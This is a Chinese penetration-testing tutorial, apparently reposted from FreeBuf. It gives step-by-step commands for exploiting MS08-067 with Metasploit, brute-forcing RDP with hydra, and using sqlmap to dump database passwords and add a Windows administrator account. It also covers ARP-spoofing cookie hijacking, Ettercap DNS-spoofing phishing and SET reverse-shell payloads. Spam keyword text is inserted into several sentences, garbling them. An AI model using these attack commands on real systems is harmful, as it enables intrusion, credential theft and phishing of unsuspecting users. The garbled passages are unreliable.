漏洞利用階段利用已獲得局域網(wǎng)ip沖突檢測(cè)工具的信息和各種攻擊手段實(shí)施滲透。網(wǎng)絡(luò)應(yīng)用程序漏洞診斷項(xiàng)目局域網(wǎng)ip沖突檢測(cè)工具的加密通信漏洞診斷是必須執(zhí)行的。顧名思義,利用漏洞,達(dá)到攻擊的目的。
Metasploit Framework
rdesktop + hydra
Sqlmap
Arpspoof
tcpdump + ferret + hamster
Ettercap
SET
Metasploit Framework
1
Metasploit是一款開(kāi)源的安全漏洞檢測(cè)工具,Metasploit Framework (MSF) 在2003年以開(kāi)放源碼方式發(fā)布,是可以自由獲取的開(kāi)發(fā)框架。它是一個(gè)強(qiáng)大的開(kāi)源平臺(tái),供開(kāi)發(fā),測(cè)試和使用惡意代碼,這個(gè)環(huán)境為滲透測(cè)試、shellcode 編寫和漏洞研究提供了一個(gè)可靠平臺(tái)。這種可以擴(kuò)展的模型將負(fù)載控制(payload)、編碼器(encode)、無(wú)操作生成器(nops)和漏洞整合在一起,使 Metasploit Framework 成為一種研究高危漏洞的途徑。它集成了各平臺(tái)上常見(jiàn)的溢出漏洞和流行的 shellcode ,并且不斷更新。
概要:MSF架構(gòu)、組件
實(shí)例演示:入侵Windows XP SP3 (ms08_067)
>>>>
MSF架構(gòu)
Metasploit Framework并不止具有exploit(溢出)收集功能,它使你專注于創(chuàng)建自己的溢出模塊或者二次開(kāi)發(fā)。很少的一部分用匯編和C語(yǔ)言實(shí)現(xiàn),其余均由ruby實(shí)現(xiàn)。總體架構(gòu):
TOOLS:集成了各種實(shí)用工具,多數(shù)為收集的其它軟件
PLUGINS:各種插件,多數(shù)為收集的其它軟件。直接調(diào)用其API,但只能在console工作。
MODULES:目前的Metasploit Framework 的各個(gè)模塊
MSF core :表示Metasploit Framework core 提供基本的API,并且定義了MSF的框架。
并將各個(gè)子系統(tǒng)集成在一起。組織比較散亂,不建議更改。
MSF Base:提供了一些擴(kuò)展的、易用的API以供調(diào)用,允許更改
Rex LIBRARIES:Metasploit Framework中所包含的各種庫(kù),是類、方法和模塊的集合
CLI:表示命令行界面
GUI:圖形用戶界面
Console:控制臺(tái)用戶界面
Web:網(wǎng)頁(yè)界面,目前已不再支持
Exploits:定義實(shí)現(xiàn)了一些溢出模塊,不含payload的話是一個(gè)Aux
Payload:由一些可動(dòng)態(tài)運(yùn)行在遠(yuǎn)程主機(jī)上的代碼組成
Nops:用以產(chǎn)生緩沖區(qū)填充的非操作性指令
Aux:一些輔助模塊,用以實(shí)現(xiàn)輔助攻擊,如端口掃描工具
Encoders:重新進(jìn)行編碼,用以實(shí)現(xiàn)反檢測(cè)功能等
進(jìn)入msfconsole后可配置數(shù)據(jù)庫(kù)來(lái)更方便更快速的查詢各種模塊
首先啟動(dòng)postgresql
sudo systemctl start postgresql
切換到postgresql
su postgres
創(chuàng)建一個(gè)postgresql數(shù)據(jù)庫(kù)賬戶
create user root –P
接著,會(huì)提示輸入密碼,然后確認(rèn)密碼
創(chuàng)建數(shù)據(jù)庫(kù)
createdb --owner=root nexp_db
owner參數(shù)指定數(shù)據(jù)庫(kù)的所有者,后一個(gè)參數(shù)為數(shù)據(jù)庫(kù)名稱
然后退出進(jìn)入MSF連接數(shù)據(jù)庫(kù)
db_connect root:toor@localhost/nexp_db
連接成功后會(huì)提示:
[-] postgresql already connected to msf
[-]Run db_disconnect first if you wish to connect to a different database
msfconsole支持系統(tǒng)所有命令,在終端中輸入help可以查看“Core Commands”、“Database Backend Commands”、“Exploit Commands”
MSF集成的幾種漏洞掃描組件
2
>>>>
Nmap
Nmap適用于Winodws、Linux、Mac等操作系統(tǒng)。它用于主機(jī)發(fā)現(xiàn)、端口發(fā)現(xiàn)或枚舉、服務(wù)發(fā)現(xiàn),檢測(cè)操作系統(tǒng)、硬件地址、軟件版本以及脆弱性的漏洞。Metasploit Framework平臺(tái)集成了Nmap組件。通常在對(duì)目標(biāo)系統(tǒng)發(fā)起攻擊之前需要進(jìn)行一些必要的信息收集,如獲取網(wǎng)絡(luò)中的活動(dòng)主機(jī)、主機(jī)開(kāi)放的端口等。
>>>>
Nessus
Nessus是當(dāng)前使用最廣泛的漏洞掃描工具之一。Nessus采用client/sever模式,服務(wù)器端負(fù)責(zé)進(jìn)行安全檢查,客戶端用來(lái)配置管理服務(wù)器端。在服務(wù)端還采用了plug-in的體系,允許用戶加入執(zhí)行特定功能的插件,這插件可以進(jìn)行更快速和更復(fù)雜的安全檢查。
>>>>
nmap進(jìn)行端口掃描
nmap -sS -v www.hdu.edu.cn -oX Desktop/out.xml
>>>>
通過(guò)db_import命令導(dǎo)入已保存的掃描結(jié)果
db_import Desktop/out.xml
>>>>
使用hosts命令查看包含在XML格式的掃描結(jié)果中的對(duì)象
>>>>
使用services命令詳細(xì)查看下列開(kāi)放端口的相關(guān)服務(wù)信息
>>>>
使用notes命令按掃描結(jié)果顯示的端口導(dǎo)出詳細(xì)信息
實(shí)例演示MSF入侵WinXP(ms_08067)
3
>>>>
環(huán)境:
Windows XP SP3
IP:172.16.211.129
Kali Linux
IP:172.16.211.128
>>>>
實(shí)驗(yàn)原理
漏洞名稱:Windows Server服務(wù)RPC請(qǐng)求緩沖區(qū)溢出漏洞(MS08-067)
此安全更新解決了服務(wù)器服務(wù)中一個(gè)秘密報(bào)告的漏洞。如果用戶在受影響的系統(tǒng)上收到特制的 RPC 請(qǐng)求,則該漏洞可能允許遠(yuǎn)程執(zhí)行代碼。 在 Microsoft Windows 2000、Windows XP 和 Windows Server 2003 系統(tǒng)上,攻擊者可能未經(jīng)身份驗(yàn)證即可利用此漏洞運(yùn)行任意代碼。 此漏洞可能用于進(jìn)行蠕蟲(chóng)攻擊。 防火墻最佳做法和標(biāo)準(zhǔn)的默認(rèn)防火墻配置有助于保護(hù)網(wǎng)絡(luò)資源免受從企業(yè)外部發(fā)起的攻擊。
>>>>
實(shí)驗(yàn)過(guò)程
在msfconsole使用search命令搜索MS08067漏洞攻擊程序
>>>>
從結(jié)果中得到
Name : exploit/windows/smb/ms08_067_netapi
Disclosure Date:2008-10-28
Rank:great
Deion:MS08-067 Microsoft Server Service Relative Path Stack Corruption
>>>>
使用use命令調(diào)用MS08067漏洞攻擊程序
use exploit/windows/smb/ms08_067_netapi
使用show options 命令查看需要設(shè)置的選項(xiàng)
從圖中可以看到還需設(shè)置RHOST(目標(biāo)地址)、Exploit target(攻擊目標(biāo))
使用 set 命令設(shè)置 Module Options,此處需要設(shè)置目標(biāo)IP
即 set RHOST 172.16.211.129
使用 set 命令設(shè)置后,可再使用show options 命令查看設(shè)置情況
從中可以看出目標(biāo)IP已經(jīng)設(shè)置好
接著設(shè)置Exploit target,使用show targets 查看可選項(xiàng)
可以看出以下版本的系統(tǒng)均存在此漏洞
因?yàn)閷?shí)例演示的XP系統(tǒng)為WinXP SP3 簡(jiǎn)體中文版,即
使用set target 命令設(shè)置目標(biāo),此處即為set target 34
此時(shí)再用show options 可以看到全部設(shè)置完成,接著使用exploit 或者 run 進(jìn)行攻擊
執(zhí)行exploit命令后得到一個(gè)meterpreter
在meterpreter中輸入shell即可進(jìn)入CMD窗口
接著即可執(zhí)行CMD命令,例如打開(kāi)RDP服務(wù)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
使用netstat -an命令查看端口是否開(kāi)放,從圖中可以看到已經(jīng)開(kāi)放
接著使用net user命令查看XP系統(tǒng)中的用戶
可以看到存在一個(gè)用戶為sysorem
然后針對(duì)指定用戶比如這里的sysorem用戶進(jìn)行登錄密碼爆破
hydra 172.16.211.129 rdp -l sysorem -P Desktop/pass.txt
使用hydra爆破密碼得:12345接著就能直接登錄XP進(jìn)行遠(yuǎn)程控制
rdesktop -a 32 -u sysorem -p 12345 172.16.211.129:3389
SQLmap
4
sqlmap是一個(gè)自動(dòng)化的SQL注入工具,其主要功能是掃描,發(fā)現(xiàn)并利用給定的URL的SQL注入漏洞,目前支持的數(shù)據(jù)庫(kù)是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。采用五種獨(dú)特的SQL注入技術(shù),分別是:
1)基于布爾的盲注,即可以根據(jù)返回頁(yè)面判斷條件真假的注入。
2)基于時(shí)間的盲注,即不能根據(jù)頁(yè)面返回內(nèi)容判斷任何信息,用條件語(yǔ)句查看時(shí)間延遲語(yǔ)句是否執(zhí)行(即頁(yè)面返回時(shí)間是否增加)來(lái)判斷。
3)基于報(bào)錯(cuò)注入,即頁(yè)面會(huì)返回錯(cuò)誤信息,或者把注入的語(yǔ)句的結(jié)果直接返回在頁(yè)面中。
4)聯(lián)合查詢注入,可以使用union的情況下的注入。
5)堆查詢注入,可以同時(shí)執(zhí)行多條語(yǔ)句的執(zhí)行時(shí)的注入。
概要:常用語(yǔ)法簡(jiǎn)單介紹
實(shí)例演示:實(shí)例演示通過(guò)一個(gè)注入點(diǎn)入侵一臺(tái)服務(wù)器
常用語(yǔ)法介紹
獲取當(dāng)前用戶名稱
sqlmap -u "https://url/news?id=1" --current-user
獲取當(dāng)前數(shù)據(jù)庫(kù)名稱
sqlmap -u "https://www.xxoo.com/news?id=1" —current-db
列表名
sqlmap -u "https://www.xxoo.com/news?id=1" --tables -D “db_name”
列字段
sqlmap -u "https://url/news?id=1" --columns -T "tablename" users-D "db_name" -v 0 #
獲取字段內(nèi)容
sqlmap -u "https://url/news?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0
實(shí)例演示通過(guò)一個(gè)注入點(diǎn)入侵一臺(tái)服務(wù)器
目標(biāo)網(wǎng)站:某CMS
測(cè)試是否存在注入
sqlmap -u "https://xxx/newsInfo.php?news_id=1&classsn=8001" --level 2
Payload
news_id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b766271,0x5a794e4d4a626f5857704c4959506c49507a58666b4c44717864664b596d586d797059515752464d,0x716a786b71),NULL,NULL-- PHML&classsn=9003
查詢數(shù)據(jù)庫(kù)所屬用戶,返回ht_zhengke20%
sqlmap -u “https://xxx/newsInfo.php?news_id=1&classsn=8001” --current-user
查詢是否是管理員賬戶,返回true
sqlmap -u “https://xxx/newsInfo.php?news_id=1&classsn=8001” --is-dba
數(shù)據(jù)庫(kù)
sqlmap -u “https://xxx/newsInfo.php?news_id=1&classsn=8001” --dbs
列數(shù)據(jù)庫(kù)用戶
sqlmap -u “https://xxx/newsInfo.php?news_id=1&classsn=8001” --users
列數(shù)據(jù)庫(kù)用戶密碼
sqlmap -u “https://xxx/newsInfo.php?news_id=1&classsn=8001” --passwords
得到ht_zhengke2用戶的明文密碼為ht_zhengke2
nmap掃描發(fā)現(xiàn)開(kāi)放3389端口
進(jìn)入sql shell
sqlmap -u “https://xxx/newsInfo.php?news_id=1&classsn=8001” --sql-shell
在sqlshell中添加一個(gè)用戶并提升到管理員
net user root 12345 /add
net localgroup administrators root /add
使用新添加的用戶遠(yuǎn)程登錄服務(wù)器
Arpspoof
5
由于局域網(wǎng)的網(wǎng)絡(luò)流通不是根據(jù)IP地址進(jìn)行,而是根據(jù)MAC地址進(jìn)行傳輸。所以,MAC地址在A上被偽造成一個(gè)不存在的MAC地址,這樣就會(huì)導(dǎo)致網(wǎng)絡(luò)不通,A不能Ping通C。這就是一個(gè)簡(jiǎn)單的ARP欺騙,利用的是ARP協(xié)議的漏洞。往往在內(nèi)網(wǎng)滲透中,可配合其他工具用于網(wǎng)絡(luò)嗅探、流量劫持等作用。
>>>>
實(shí)例應(yīng)用:
ARP欺騙攻擊及會(huì)話劫持
ARP斷網(wǎng)攻擊
>>>>
命令結(jié)構(gòu):
arpspoof [-i interface] [-t target] host
-i 表示網(wǎng)卡,-t 表示目標(biāo)
ARP欺騙攻擊
Windows XP SP3
IP:172.16.211.129
Kali Linux
IP:172.16.211.128
網(wǎng)關(guān)
IP:172.16.211.2
開(kāi)啟IP轉(zhuǎn)發(fā)(可使用cat查看是否設(shè)置成功)
echo 1 >> /proc/sys/net/ipv4/ip_forward
重定向受害者的流量傳送給攻擊者
arpspoof -i eth0 -t 172.16.211.129 172.16.211.2
tcpdump抓包(使用wireshark也可以)
因?yàn)榫W(wǎng)關(guān)具有路由功能,因此只要監(jiān)聽(tīng)本地網(wǎng)卡流量就能得到目標(biāo)主機(jī)的流量。
簡(jiǎn)單用法: tcpdump -w cookie.cap #抓取所有流量寫入cookie.cap
進(jìn)行一段時(shí)間的欺騙,期間可以隨便瀏覽些網(wǎng)頁(yè),聊天之類的,比如現(xiàn)在訪問(wèn)數(shù)字杭電,一段時(shí)間后停止欺騙、停止抓包,并配合使用ferret處理抓取的流量。
簡(jiǎn)單用法: ferret -r cookie.cap #處理抓取的流量
>>>>
hamster
確保處理后的cookie.cap在root用戶根目錄后,運(yùn)行hamster
接著根據(jù)提示設(shè)置瀏覽器代理
Kali 自帶的Firefox瀏覽器設(shè)置代理如圖
設(shè)置好代理后瀏覽器中訪問(wèn)hamster或https://127.0.0.1:1234
點(diǎn)擊左側(cè)鏈接,已經(jīng)成功劫持cookie,實(shí)現(xiàn)訪問(wèn)
>>>>
ARP斷網(wǎng)攻擊
關(guān)閉本地IP轉(zhuǎn)發(fā),當(dāng)來(lái)自網(wǎng)關(guān)的流量到達(dá)本機(jī)時(shí),目標(biāo)機(jī)器無(wú)法獲得來(lái)自網(wǎng)關(guān)的數(shù)據(jù),從而“斷網(wǎng)”
arpspoof -i eth0 172.16.211.1 172.16.211.128
ettercap
6
ettercap是一個(gè)強(qiáng)大的欺騙工具,能夠讓測(cè)試人員以極快的速度創(chuàng)建和發(fā)送偽造的包、從網(wǎng)絡(luò)適配器到應(yīng)用軟件各種級(jí)別的包、綁定監(jiān)聽(tīng)數(shù)據(jù)到一個(gè)本地端口等。是中間人攻擊中常用到的輔助工具。
不過(guò)多介紹,有興趣的小伙伴可以自行了解下
實(shí)例演示:MIMT之DNS欺騙(釣魚(yú))
配置dns(/etc/ettercap/etter.dns) 172.16.211.128為本機(jī)在局域網(wǎng)地址
開(kāi)啟本地web服務(wù)
直接訪問(wèn)會(huì)返回apache默認(rèn)頁(yè)面
使用命令ettercap -G 啟動(dòng)ettercap,并選擇Unifind sniffing進(jìn)行網(wǎng)卡配置
接著掃描存活的主機(jī),掃描完畢點(diǎn)擊下圖的Hosts list
將網(wǎng)關(guān)地址添加到 target1,將攻擊目標(biāo)添加到 target2
接著設(shè)置中間人攻擊的形式為ARP欺騙,并設(shè)置雙向欺騙
接著啟用dns_spoof插件
接著開(kāi)始DNS欺騙
然后在目標(biāo)主機(jī)上瀏覽www.hdu.edu.cn 時(shí)就能達(dá)到欺騙的效果
DNS欺騙在內(nèi)網(wǎng)滲透中往往用于獲取管理員信息、釣魚(yú)等。例如可以偽造內(nèi)網(wǎng)路由器管理頁(yè)面,欺騙用戶在管理頁(yè)面輸入真實(shí)賬號(hào)密碼等。
SET
7
SET是利用社會(huì)工程學(xué)理論的工具集。它與metasploit連接,自動(dòng)構(gòu)建可應(yīng)用于社會(huì)工程學(xué)技術(shù)的微軟最新樓漏洞、Adobe PDF漏洞、Java Applet漏洞等多種環(huán)境。它不僅使用方便,而且還能巧妙地瞞過(guò)普通用戶的眼睛。因此,也是極其危險(xiǎn)的工具。
在shell中輸入setoolkit啟動(dòng)SET,它可進(jìn)行社工、滲透等測(cè)試,此處選1即社工
選擇連接方式為4,創(chuàng)建一個(gè)payload和listener
因?yàn)橛糜谘菔镜南到y(tǒng)為WinXP 32bit,因此選擇連接方式為2
接著設(shè)置本機(jī)IP和端口(此處端口設(shè)置為4445,避免沖突即可)
接著SET將啟動(dòng)MSF并通過(guò)以上設(shè)置的payloads后,當(dāng)用戶被誘導(dǎo)并逆向連接本機(jī)4445端口時(shí),將會(huì)得到一個(gè)meterpreter,得到meterpreter后,可輸入局域網(wǎng)ip沖突檢測(cè)工具?查看可用命令
例如screenshot截屏
文/sysorem 來(lái)源/FreeBuf
培養(yǎng)專業(yè)的網(wǎng)絡(luò)安全人才,
成就優(yōu)秀的安全“大牛“
QQ交流群:204528261
評(píng)論列表
還沒(méi)有評(píng)論,快來(lái)說(shuō)點(diǎn)什么吧~